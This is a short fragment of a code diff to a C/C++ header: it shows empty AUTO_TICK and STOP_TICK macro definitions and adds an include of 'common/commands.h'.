USING_COMPRESS 1 @@ -163,3 +161,5 @@ public: #define AUTO_TICK(thresh) #define STOP_TICK #endif + +#include "common/commands.h"